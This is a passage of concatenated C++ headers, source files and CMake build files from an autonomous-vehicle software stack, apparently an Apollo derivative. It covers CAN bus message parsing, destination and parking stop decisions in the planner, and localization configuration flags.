1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 34, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_hvil_inType vcu_hvil_in(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_HVIL_OUT', 'enum': {0: 'VCU_HVIL_OUT_OFF', 1: 'VCU_HVIL_OUT_ON'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_vcu_sts_0x218_218::Vcu_hvil_outType vcu_hvil_out(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_BP_Input_Cooling_Temp', 'offset': -40.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[-40|215]', 'bit': 15, 'type': 'int', 'order': 'motorola', 'physical_unit': '\\A1\\E6'} int vcu_bp_input_cooling_temp(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'VCU_Motor_Input_Cooling_Temp', 'offset': -40.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[-40|215]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': '\\A1\\E6'} int vcu_motor_input_cooling_temp(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_GW_VCU_STS_0X218_218_H_ <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ /** * @file **/ #include <vector> #include "modules/planning/traffic_rules/destination.h" #include "modules/map/proto/map_lane.pb.h" #include "modules/planning/common/planning_context.h" #include "modules/planning/common/planning_gflags.h" #include "modules/common/vehicle_state/vehicle_state_provider.h" #include "modules/planning/common/util/common.h" namespace jmc_auto { namespace planning { using jmc_auto::common::Status; using jmc_auto::common::VehicleConfigHelper; using jmc_auto::common::math::Vec2d; using jmc_auto::common::VehicleState; using jmc_auto::hdmap::ParkingSpaceInfoConstPtr; Destination::Destination(const TrafficRuleConfig& config) : TrafficRule(config) {} Status Destination::ApplyRule(Frame* frame, ReferenceLineInfo* const reference_line_info) { CHECK_NOTNULL(frame); CHECK_NOTNULL(reference_line_info); if(!frame->local_view().parkingspace_id.empty()){ MakeParkingDecisions(frame, reference_line_info); }else{ MakeDecisions(frame, reference_line_info); } // MakeDecisions(frame, reference_line_info); return Status::OK(); } bool Destination::CheckParkingSpotPreStop( Frame* const frame, ReferenceLineInfo* const reference_line_info, double* target_s) { const auto& nearby_path = reference_line_info->reference_line().map_path(); double target_area_center_s = 0.0; bool target_area_found = false; //const auto& parking_space_overlaps = nearby_path.parking_space_overlaps(); ParkingSpaceInfoConstPtr target_parking_spot_ptr; const hdmap::HDMap* hdmap = hdmap::HDMapUtil::BaseMapPtr(); // for (const auto& parking_overlap : parking_space_overlaps) { // if (parking_overlap.object_id == target_parking_spot_id_) { // //TODO(Jinyun) parking overlap s are wrong on map, not usable // target_area_center_s = // (parking_overlap.start_s + parking_overlap.end_s) / 2.0; hdmap::Id id; //id.set_id(parking_overlap.object_id); id.set_id(target_parking_spot_id_); target_parking_spot_ptr = hdmap->GetParkingSpaceById(id); // 金融厂区地图停车位 //Vec2d left_bottom_point = target_parking_spot_ptr->polygon().points().at(3); //Vec2d right_bottom_point = target_parking_spot_ptr->polygon().points().at(2); // 晶众厂区地图停车位 Vec2d left_bottom_point = target_parking_spot_ptr->polygon().points().at(1); Vec2d right_bottom_point = target_parking_spot_ptr->polygon().points().at(2); // Vec2d left_bottom_point = // target_parking_spot_ptr->polygon().points().at(1); // Vec2d right_bottom_point = // target_parking_spot_ptr->polygon().points().at(0); double left_bottom_point_s = 0.0; double left_bottom_point_l = 0.0; double right_bottom_point_s = 0.0; double right_bottom_point_l = 0.0; nearby_path.GetNearestPoint(left_bottom_point, &left_bottom_point_s, &left_bottom_point_l); nearby_path.GetNearestPoint(right_bottom_point, &right_bottom_point_s, &right_bottom_point_l); target_area_center_s = (left_bottom_point_s + right_bottom_point_s) / 2.0; if(target_area_center_s != 0.0){ target_area_found = true; } //target_area_found = true; // } // } if (!target_area_found) { AERROR << "no target parking spot found on reference line"; return false; } *target_s = target_area_center_s; return true; } bool Destination::SetParkingSpotStopFence( const double target_s, Frame* const frame, ReferenceLineInfo* const reference_line_info) { const auto& nearby_path = reference_line_info->reference_line().map_path(); const double adc_front_edge_s = reference_line_info->AdcSlBoundary().end_s(); const VehicleState& vehicle_state = frame->vehicle_state(); double stop_line_s = 0.0; double stop_distance_to_target = 9.0; double static_linear_velocity_epsilon = 1.0e-2; CHECK_GE(stop_distance_to_target, 1.0e-8); double target_vehicle_offset = target_s - adc_front_edge_s; // if(std::fabs(target_vehicle_offset) > 20){ // return false; // } if (target_vehicle_offset > stop_distance_to_target) { stop_line_s = target_s + stop_distance_to_target; } else if (std::abs(target_vehicle_offset) < stop_distance_to_target) { stop_line_s = target_s + stop_distance_to_target; //stop_line_s = adc_front_edge_s; } else if (target_vehicle_offset < -stop_distance_to_target) { if (!frame->open_space_info().pre_stop_rightaway_flag()) { // TODO(Jinyun) Use constant comfortable deacceleration rather than // distance by config to set stop fence stop_line_s = adc_front_edge_s + 0.1; if (std::abs(vehicle_state.linear_velocity()) < static_linear_velocity_epsilon) { stop_line_s = adc_front_edge_s; } *(frame->mutable_open_space_info()->mutable_pre_stop_rightaway_point()) = nearby_path.GetSmoothPoint(stop_line_s); frame->mutable_open_space_info()->set_pre_stop_rightaway_flag(true); } else { double stop_point_s = 0.0; double stop_point_l = 0.0; nearby_path.GetNearestPoint( frame->open_space_info().pre_stop_rightaway_point(), &stop_point_s, &stop_point_l); stop_line_s = stop_point_s; } } const std::string stop_wall_id = FLAGS_destination_obstacle_id; std::vector<std::string> wait_for_obstacles; frame->mutable_open_space_info()->set_open_space_pre_stop_fence_s( stop_line_s); util::BuildStopDecision(stop_wall_id, stop_line_s, 0.0, StopReasonCode::STOP_REASON_DESTINATION, wait_for_obstacles, "ParkingSpaceStopDecider", frame, reference_line_info); //NEW ADD // util::BuildStopDecision(stop_wall_id, "0", stop_line_s, 0.0, // StopReasonCode::STOP_REASON_DESTINATION, // wait_for_obstacles, "ParkingSpaceStopDecider", frame, // reference_line_info); return true; } bool Destination::CheckADCStop(const Frame& frame) { const auto& reference_line_info = frame.reference_line_info().front(); const double adc_speed = common::VehicleStateProvider::instance()->linear_velocity(); const double max_adc_stop_speed = common::VehicleConfigHelper::instance() ->GetConfig() .vehicle_param() .max_abs_speed_when_stopped(); if (adc_speed > max_adc_stop_speed) { ADEBUG << "ADC not stopped: speed[" << adc_speed << "]"; return false; } // check stop close enough to stop line of the stop_sign const double adc_front_edge_s = reference_line_info.AdcSlBoundary().end_s(); const double stop_fence_start_s = frame.open_space_info().open_space_pre_stop_fence_s(); const double distance_stop_line_to_adc_front_edge = stop_fence_start_s - adc_front_edge_s; if (distance_stop_line_to_adc_front_edge > 1.0) { ADEBUG << "not a valid stop. too far from stop line."; return false; } return true; } /** * @brief: build parking space stop decision */ int Destination::MakeParkingDecisions(Frame* frame, ReferenceLineInfo* const reference_line_info) { CHECK_NOTNULL(frame); CHECK_NOTNULL(reference_line_info); //std::string target_parking_spot_id; bool is_new_target_parking_spot_id = false; auto* previous_frame = FrameHistory::Instance()->Latest(); target_parking_spot_id_ = frame->local_view().parkingspace_id; *(frame->mutable_open_space_info()->mutable_target_parking_spot_id()) = target_parking_spot_id_; if(target_parking_spot_id_ != previous_frame->open_space_info().target_parking_spot_id()){ //target_parking_spot_id_ = target_parking_spot_id; is_new_target_parking_spot_id = true; //previous_frame->set_parking_destination(false); } ADEBUG << "target_parking_spot_id: " << target_parking_spot_id_; //ADEBUG << "is_near_parking: " << is_near_parking_; if(is_new_target_parking_spot_id || !previous_frame->is_parking_destination()){ double target_s = 0.0; if (!CheckParkingSpotPreStop(frame, reference_line_info, &target_s)) { const std::string msg = "Checking parking spot pre stop fails"; AERROR << "Checking parking spot pre stop fails"; return 0; } if(!SetParkingSpotStopFence(target_s, frame, reference_line_info)){ AERROR << "target parking spot found, but too far"; return 0; } if(CheckADCStop(*frame)){ //is_near_parking_ = true; frame->set_parking_destination(true); }else{ frame->set_parking_destination(false); } // *(frame->is_parking_destination()) = false; }else{ frame->set_parking_destination(true); } return 0; } /** * @brief: build stop decision */ int Destination::MakeDecisions(Frame* frame, ReferenceLineInfo* const reference_line_info) { CHECK_NOTNULL(frame); CHECK_NOTNULL(reference_line_info); if (!frame->is_near_destination()) { return 0; } const auto& routing = frame->local_view().routing; if (routing->routing_request().waypoint_size() < 2) { AERROR << "routing_request has no end"; return -1; } common::SLPoint dest_sl; const auto& reference_line = reference_line_info->reference_line(); const auto& routing_end = *(routing->routing_request().waypoint().rbegin()); reference_line.XYToSL(routing_end.pose(), &dest_sl); const auto& adc_sl = reference_line_info->AdcSlBoundary(); const auto& dest = PlanningContext::Instance()->mutable_planning_status()->destination(); if (adc_sl.start_s() > dest_sl.s() && !dest.has_passed_destination()) { ADEBUG << "Destination at back, but we have not reached destination yet"; return 0; } const std::string stop_wall_id = FLAGS_destination_obstacle_id; const std::vector<std::string> wait_for_obstacle_ids; if (FLAGS_enable_scenario_pull_over) { const auto& pull_over_status = PlanningContext::Instance()->planning_status().pull_over(); if (pull_over_status.has_position() && pull_over_status.position().has_x() && pull_over_status.position().has_y()) { // build stop decision based on pull-over position ADEBUG << "BuildStopDecision: pull-over position"; common::SLPoint pull_over_sl; reference_line.XYToSL(pull_over_status.position(), &pull_over_sl); const double stop_line_s = pull_over_sl.s() + VehicleConfigHelper::GetConfig() .vehicle_param() .front_edge_to_center() + config_.destination().stop_distance(); util::BuildStopDecision( stop_wall_id, stop_line_s, config_.destination().stop_distance(), StopReasonCode::STOP_REASON_PULL_OVER, wait_for_obstacle_ids, TrafficRuleConfig::RuleId_Name(config_.rule_id()), frame, reference_line_info); return 0; } } // build stop decision ADEBUG << "BuildStopDecision: destination"; // const double dest_lane_s = // std::fmax(0.0, routing_end.s() - FLAGS_virtual_stop_wall_length - // config_.destination().stop_distance()); const double dest_lane_s = std::fmax(0.0, routing_end.s() - FLAGS_virtual_stop_wall_length); util::BuildStopDecision(stop_wall_id, routing_end.id(), dest_lane_s, config_.destination().stop_distance(), StopReasonCode::STOP_REASON_DESTINATION, wait_for_obstacle_ids, TrafficRuleConfig::RuleId_Name(config_.rule_id()), frame, reference_line_info); return 0; } } // namespace planning } // namespace jmc_auto <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(path_lane_borrow_decider path_lane_borrow_decider.cc path_lane_borrow_decider.h) target_link_libraries(path_lane_borrow_decider obstacle_blocking_analyzer planning_context planning_gflags reference_line_info /modules/planning/tasks/deciders:decider_base) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_library(planning_proto planning.pb.cc planning.pb.h ) target_link_libraries(planning_proto decision_proto planning_mode_config_proto planning_internal_proto canbus_proto drive_state_proto common_proto error_code_proto header_proto pnc_point_proto vehicle_signal_proto localization_proto pose_proto map_proto perception_proto prediction_proto routing_proto protobuf) add_library(creep_decider_config_proto creep_decider_config.pb.cc creep_decider_config.pb.h) target_link_libraries(creep_decider_config_proto protobuf) add_library(decision_proto decision.pb.cc decision.pb.h) target_link_libraries(decision_proto common_proto vehicle_signal_proto routing_proto protobuf) add_library(dp_st_speed_config_proto dp_st_speed_config.pb.cc dp_st_speed_config.pb.h) target_link_libraries(dp_st_speed_config_proto protobuf) add_library(navi_path_decider_config_proto navi_path_decider_config.pb.cc navi_path_decider_config.pb.h) target_link_libraries(navi_path_decider_config_proto protobuf) add_library(navi_speed_decider_config_proto navi_speed_decider_config.pb.cc navi_speed_decider_config.pb.h) target_link_libraries(navi_speed_decider_config_proto protobuf) add_library(navi_obstacle_decider_config_proto navi_obstacle_decider_config.pb.cc navi_obstacle_decider_config.pb.h) target_link_libraries(navi_obstacle_decider_config_proto protobuf) add_library(planning_config_proto planning_config.pb.cc planning_config.pb.h) target_link_libraries(planning_config_proto creep_decider_config_proto dp_st_speed_config_proto lane_change_decider_config_proto navi_obstacle_decider_config_proto navi_path_decider_config_proto navi_speed_decider_config_proto open_space_fallback_decider_config_proto open_space_pre_stop_decider_config_proto open_space_roi_decider_config_proto open_space_trajectory_partition_config_proto open_space_trajectory_provider_config_proto path_assessment_decider_config_proto path_bounds_decider_config_proto path_decider_config_proto path_lane_borrow_decider_config_proto path_reuse_decider_config_proto piecewise_jerk_nonlinear_speed_config_proto piecewise_jerk_path_config_proto piecewise_jerk_speed_config_proto planner_open_space_config_proto reference_line_smoother_config_proto rule_based_stop_decider_config_proto speed_bounds_decider_config_proto st_bounds_decider_config_proto protobuf) add_library(planning_internal_proto planning_internal.pb.cc planning_internal.pb.h) target_link_libraries(planning_internal_proto decision_proto planning_config_proto sl_boundary_proto st_drivable_boundary_proto canbus_proto common_proto header_proto pnc_point_proto chart_proto localization_proto navigation_proto perception_proto prediction_proto routing_proto protobuf) add_library(planning_stats_proto planning_stats.pb.cc planning_stats.pb.h) target_link_libraries(planning_stats_proto protobuf) add_library(reference_line_smoother_config_proto reference_line_smoother_config.pb.cc reference_line_smoother_config.pb.h) target_link_libraries(reference_line_smoother_config_proto cos_theta_smoother_config_proto fem_pos_deviation_smoother_config_proto protobuf) add_library(sl_boundary_proto sl_boundary.pb.cc sl_boundary.pb.h) target_link_libraries(sl_boundary_proto pnc_point_proto protobuf) add_library(st_drivable_boundary_proto st_drivable_boundary.pb.cc st_drivable_boundary.pb.h) target_link_libraries(st_drivable_boundary_proto pnc_point_proto protobuf) add_library(traffic_rule_config_proto traffic_rule_config.pb.cc traffic_rule_config.pb.h) target_link_libraries(traffic_rule_config_proto protobuf) add_library(planning_mode_config_proto planning_mode_config.pb.cc planning_mode_config.pb.h) target_link_libraries(planning_mode_config_proto routing_proto protobuf) add_library(piecewise_jerk_path_config_proto piecewise_jerk_path_config.pb.cc piecewise_jerk_path_config.pb.h) target_link_libraries(piecewise_jerk_path_config_proto pnc_point_proto protobuf) add_library(piecewise_jerk_speed_config_proto piecewise_jerk_speed_config.pb.cc piecewise_jerk_speed_config.pb.h) target_link_libraries(piecewise_jerk_speed_config_proto protobuf) add_library(piecewise_jerk_nonlinear_speed_config_proto piecewise_jerk_nonlinear_speed_config.pb.cc piecewise_jerk_nonlinear_speed_config.pb.h) target_link_libraries(piecewise_jerk_nonlinear_speed_config_proto protobuf) add_library(path_bounds_decider_config_proto path_bounds_decider_config.pb.cc path_bounds_decider_config.pb.h) target_link_libraries(path_bounds_decider_config_proto protobuf) add_library(path_decider_config_proto path_decider_config.pb.cc path_decider_config.pb.h) target_link_libraries(path_decider_config_proto protobuf) add_library(path_assessment_decider_config_proto path_assessment_decider_config.pb.cc path_assessment_decider_config.pb.h) target_link_libraries(path_assessment_decider_config_proto protobuf) add_library(path_lane_borrow_decider_config_proto path_lane_borrow_decider_config.pb.cc path_lane_borrow_decider_config.pb.h) target_link_libraries(path_lane_borrow_decider_config_proto protobuf) add_library(path_reuse_decider_config_proto path_reuse_decider_config.pb.cc path_reuse_decider_config.pb.h) target_link_libraries(path_reuse_decider_config_proto routing_proto protobuf) add_library(lane_change_decider_config_proto lane_change_decider_config.pb.cc lane_change_decider_config.pb.h) target_link_libraries(lane_change_decider_config_proto protobuf) add_library(spiral_curve_config_proto spiral_curve_config.pb.cc spiral_curve_config.pb.h) target_link_libraries(spiral_curve_config_proto protobuf) add_library(planning_status_proto planning_status.pb.cc planning_status.pb.h) target_link_libraries(planning_status_proto planning_config_proto drive_state_proto common_proto pnc_point_proto routing_proto protobuf) add_library(lattice_sampling_config_proto lattice_sampling_config.pb.cc lattice_sampling_config.pb.h) target_link_libraries(lattice_sampling_config_proto pnc_point_proto protobuf) add_library(lattice_structure_proto lattice_structure.pb.cc lattice_structure.pb.h) target_link_libraries(lattice_structure_proto lattice_sampling_config_proto pnc_point_proto protobuf) add_library(planner_open_space_config_proto planner_open_space_config.pb.cc planner_open_space_config.pb.h) target_link_libraries(planner_open_space_config_proto protobuf) add_library(auto_tuning_raw_feature_proto auto_tuning_raw_feature.pb.cc auto_tuning_raw_feature.pb.h) target_link_libraries(auto_tuning_raw_feature_proto pnc_point_proto protobuf) add_library(auto_tuning_model_input_proto auto_tuning_model_input.pb.cc auto_tuning_model_input.pb.h) target_link_libraries(auto_tuning_model_input_proto protobuf) add_library(qp_problem_proto qp_problem.pb.cc qp_problem.pb.h) target_link_libraries(qp_problem_proto protobuf) add_library(speed_bounds_decider_config_proto speed_bounds_decider_config.pb.cc speed_bounds_decider_config.pb.h) target_link_libraries(speed_bounds_decider_config_proto protobuf) add_library(st_bounds_decider_config_proto st_bounds_decider_config.pb.cc st_bounds_decider_config.pb.h) target_link_libraries(st_bounds_decider_config_proto protobuf) add_library(open_space_fallback_decider_config_proto open_space_fallback_decider_config.pb.cc open_space_fallback_decider_config.pb.h) target_link_libraries(open_space_fallback_decider_config_proto protobuf) add_library(open_space_roi_decider_config_proto open_space_roi_decider_config.pb.cc open_space_roi_decider_config.pb.h) target_link_libraries(open_space_roi_decider_config_proto protobuf) add_library(open_space_trajectory_provider_config_proto open_space_trajectory_provider_config.pb.cc open_space_trajectory_provider_config.pb.h) target_link_libraries(open_space_trajectory_provider_config_proto planner_open_space_config_proto protobuf) add_library(open_space_trajectory_partition_config_proto open_space_trajectory_partition_config.pb.cc open_space_trajectory_partition_config.pb.h) target_link_libraries(open_space_trajectory_partition_config_proto protobuf) add_library(open_space_pre_stop_decider_config_proto open_space_pre_stop_decider_config.pb.cc open_space_pre_stop_decider_config.pb.h) target_link_libraries(open_space_pre_stop_decider_config_proto protobuf) add_library(rule_based_stop_decider_config_proto rule_based_stop_decider_config.pb.cc rule_based_stop_decider_config.pb.h) target_link_libraries(rule_based_stop_decider_config_proto protobuf) add_library(cos_theta_smoother_config_proto cos_theta_smoother_config.pb.cc cos_theta_smoother_config.pb.h) target_link_libraries(cos_theta_smoother_config_proto protobuf) add_library(fem_pos_deviation_smoother_config_proto fem_pos_deviation_smoother_config.pb.cc fem_pos_deviation_smoother_config.pb.h) target_link_libraries(fem_pos_deviation_smoother_config_proto protobuf) add_library(ipopt_return_status_proto ipopt_return_status.pb.cc ipopt_return_status.pb.h) target_link_libraries(ipopt_return_status_proto protobuf) add_library(learning_data_proto learning_data.pb.cc learning_data.pb.h) target_link_libraries(learning_data_proto canbus_proto common_proto pnc_point_proto map_proto perception_proto feature_proto prediction_proto protobuf) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(traffic_rules backside_vehicle.cc crosswalk.cc destination.cc keep_clear.cc reference_line_end.cc rerouting.cc stop_sign.cc traffic_light.cc yield_sign.cc backside_vehicle.h crosswalk.h destination.h keep_clear.h reference_line_end.h rerouting.h stop_sign.h traffic_light.h traffic_rule.h yield_sign.h) target_link_libraries(traffic_rules factory map_util /modules/perception/proto:perception_proto frame planning_context planning_gflags reference_line_info common_lib planning_config_proto planning_proto traffic_rule_config_proto) add_library(traffic_decider traffic_decider.cc traffic_decider.h) target_link_libraries(traffic_decider traffic_rules /modules/common/status vehicle_state_provider frame reference_line_info traffic_rule_config_proto /modules/planning/tasks:task) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(teshun_vehicle_factory teshun_vehicle_factory.cc teshun_vehicle_factory.h) target_link_libraries(teshun_vehicle_factory teshun_controller teshun_message_manager abstract_vehicle_factory) add_library(teshun_message_manager teshun_message_manager.cc teshun_message_manager.h) target_link_libraries(teshun_message_manager canbus_common canbus_proto message_manager_base canbus_teshun_protocol) add_library(teshun_controller teshun_controller.cc teshun_controller.h) target_link_libraries(teshun_controller teshun_message_manager can_sender canbus_common canbus_proto message_manager_base vehicle_controller_base canbus_teshun_protocol)<file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ /** * @file localization_gflags.h * @brief The gflags used by localization module */ #ifndef MODULES_LOCALIZATION_COMMON_LOCALIZATION_GFLAGS_H_ #define MODULES_LOCALIZATION_COMMON_LOCALIZATION_GFLAGS_H_ #include "gflags/gflags.h" DECLARE_string(localization_module_name); DECLARE_double(localization_publish_freq); DECLARE_string(proj4_text); DECLARE_string(localization_config_file); DECLARE_string(rtk_adapter_config_file); DECLARE_string(vins_adapter_config_file); DECLARE_string(msf_adapter_config_file); DECLARE_string(msf_visual_adapter_config_file); DECLARE_string(localization_msf_gnss_filename); DECLARE_string(localization_msf_lidar_filename); DECLARE_string(localization_pose_filename); DECLARE_string(localization_heading_filename); DECLARE_bool(enable_csv_log); DECLARE_bool(enable_gps_imu_interprolate); DECLARE_bool(enable_map_reference_unify); DECLARE_bool(enable_watchdog); DECLARE_bool(enable_gps_heading); DECLARE_bool(enable_heading_filter); DECLARE_double(gps_time_delay_tolerance); DECLARE_double(gps_imu_timestamp_sec_diff_tolerance); DECLARE_double(timestamp_sec_tolerance); DECLARE_double(map_offset_x); DECLARE_double(map_offset_y); DECLARE_double(map_offset_z); DECLARE_int32(report_threshold_err_num); DECLARE_double(report_gps_imu_time_diff_threshold); DECLARE_bool(enable_gps_timestamp); // // lidar module DECLARE_string(local_map_name); DECLARE_string(lidar_extrinsics_file); DECLARE_string(lidar_height_file); DECLARE_double(lidar_height_default); DECLARE_int32(lidar_localization_mode); DECLARE_int32(lidar_yaw_align_mode); DECLARE_int32(lidar_filter_size); DECLARE_double(lidar_imu_max_delay_time); DECLARE_double(lidar_map_coverage_theshold); DECLARE_bool(lidar_debug_log_flag); DECLARE_int32(point_cloud_step); // // integ module DECLARE_bool(integ_ins_can_self_align); DECLARE_bool(integ_sins_align_with_vel); DECLARE_bool(integ_sins_state_check); DECLARE_double(integ_sins_state_span_time); DECLARE_double(integ_sins_state_pos_std); DECLARE_double(vel_threshold_get_yaw); DECLARE_bool(integ_debug_log_flag); // // gnss module DECLARE_bool(enable_ins_aid_rtk); DECLARE_string(eph_buffer_path); DECLARE_string(ant_imu_leverarm_file); DECLARE_bool(gnss_debug_log_flag); DECLARE_bool(heading_debug_log_flag); DECLARE_bool(if_imuant_from_file); DECLARE_double(imu_to_ant_offset_x); DECLARE_double(imu_to_ant_offset_y); DECLARE_double(imu_to_ant_offset_z); DECLARE_double(imu_to_ant_offset_ux); DECLARE_double(imu_to_ant_offset_uy); DECLARE_double(imu_to_ant_offset_uz); // // common DECLARE_double(imu_rate); DECLARE_bool(if_utm_zone_id_from_folder); DECLARE_bool(trans_gpstime_to_utctime); DECLARE_int32(gnss_mode); DECLARE_bool(imu_coord_rfu); DECLARE_bool(gnss_only_init); DECLARE_bool(enable_lidar_localization); // // imu vehicle extrinsic DECLARE_string(vehicle_imu_file); DECLARE_bool(if_vehicle_imu_from_file); DECLARE_double(imu_vehicle_qx); DECLARE_double(imu_vehicle_qy); DECLARE_double(imu_vehicle_qz); DECLARE_double(imu_vehicle_qw); // // visualization DECLARE_string(map_visual_dir); //apriltag 参数 DECLARE_double(decimate); DECLARE_double(blur); DECLARE_int32(threads); DECLARE_bool(debug); DECLARE_bool(refine_edges); #endif // MODULES_LOCALIZATION_COMMON_LOCALIZATION_GFLAGS_H_ <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_compile_options(-fPIC) add_library(map_proto map.pb.cc map.pb.h map_clear_area.pb.cc map_clear_area.pb.h map_crosswalk.pb.cc map_crosswalk.pb.h map_geometry.pb.cc map_geometry.pb.h map_id.pb.cc map_id.pb.h map_junction.pb.cc map_junction.pb.h map_pnc_junction.pb.cc map_pnc_junction.pb.h map_lane.pb.cc map_lane.pb.h map_overlap.pb.cc map_overlap.pb.h map_parking_space.pb.cc map_parking_space.pb.h map_road.pb.cc map_road.pb.h map_signal.pb.cc map_signal.pb.h map_speed_bump.pb.cc map_speed_bump.pb.h map_speed_control.pb.cc map_speed_control.pb.h map_stop_sign.pb.cc map_stop_sign.pb.h map_yield_sign.pb.cc map_yield_sign.pb.h ) target_link_libraries(map_proto common_proto protobuf)<file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_path_h #define impl_type_path_h #include "impl_type_double.h" #include "impl_type_string.h" struct Path { ::String name; ::Double path_point; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(name); fun(path_point); } template<typename F> void enumerate(F& fun) const { fun(name); fun(path_point); } bool operator == (const ::Path& t) const { return (name == t.name) && (path_point == t.path_point); } }; #endif // impl_type_path_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(digital_filter digital_filter.cc digital_filter.h) target_link_libraries(digital_filter digital_filter_coefficients jmcauto_log) add_library(mean_filter mean_filter.cc mean_filter.h) target_link_libraries(mean_filter jmcauto_log) add_library(digital_filter_coefficients digital_filter_coefficients.cc digital_filter_coefficients.h) add_library(filters INTERFACE) target_link_libraries(filters INTERFACE digital_filter digital_filter_coefficients mean_filter)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(reference_line reference_line.cc reference_point.cc reference_line.h reference_point.h) target_link_libraries(reference_line log util /modules/common/math pnc_point_proto map_util point_factory /modules/map/pnc_map:path planning_gflags planning_proto com_google_absl//absl/strings) add_library(reference_line_smoother INTERFACE) target_link_libraries(reference_line_smoother INTERFACE reference_line_smoother_config_proto) add_library(qp_spline_reference_line_smoother qp_spline_reference_line_smoother.cc qp_spline_reference_line_smoother.h) target_link_libraries(qp_spline_reference_line_smoother reference_line reference_line_smoother curve_math polynomial_xd /modules/planning/math/smoothing_spline:active_set_spline_2d_solver /modules/planning/math/smoothing_spline:osqp_spline_2d_solver planning_proto reference_line_smoother_config_proto eigen) add_library(discrete_points_reference_line_smoother discrete_points_reference_line_smoother.cc discrete_points_reference_line_smoother.h) target_link_libraries(discrete_points_reference_line_smoother reference_line reference_line_smoother /modules/common/math /modules/common/time planning_gflags discrete_points_math /modules/planning/math/discretized_points_smoothing:cos_theta_smoother /modules/planning/math/discretized_points_smoothing:fem_pos_deviation_smoother planning_proto reference_line_smoother_config_proto) add_library(reference_line_provider reference_line_provider.cc reference_line_provider.h) target_link_libraries(reference_line_provider discrete_points_reference_line_smoother qp_spline_reference_line_smoother reference_line vehicle_config_helper factory vehicle_state_provider /modules/map/pnc_map indexed_queue planning_context planning_config_proto planning_status_proto eigen) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_drivingaction_h #define impl_type_drivingaction_h #include "impl_type_uint8.h" enum class DrivingAction : UInt8 { INVALID = 0, STOP = 1, START = 2, RESET = 3 }; #endif // impl_type_drivingaction_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_ESP_ADVANCED_0X234_234_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_ESP_ADVANCED_0X234_234_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Espadvanced0x234234 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Espadvanced0x234234(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'ESP_VDCActive', 'enum': {0: 'ESP_VDCACTIVE_NOT_ACTIVE', 1: 'ESP_VDCACTIVE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_advanced_0x234_234::Esp_vdcactiveType esp_vdcactive(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_EBDActive', 'enum': {0: 'ESP_EBDACTIVE_NOT_ACTIVE', 1: 'ESP_EBDACTIVE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 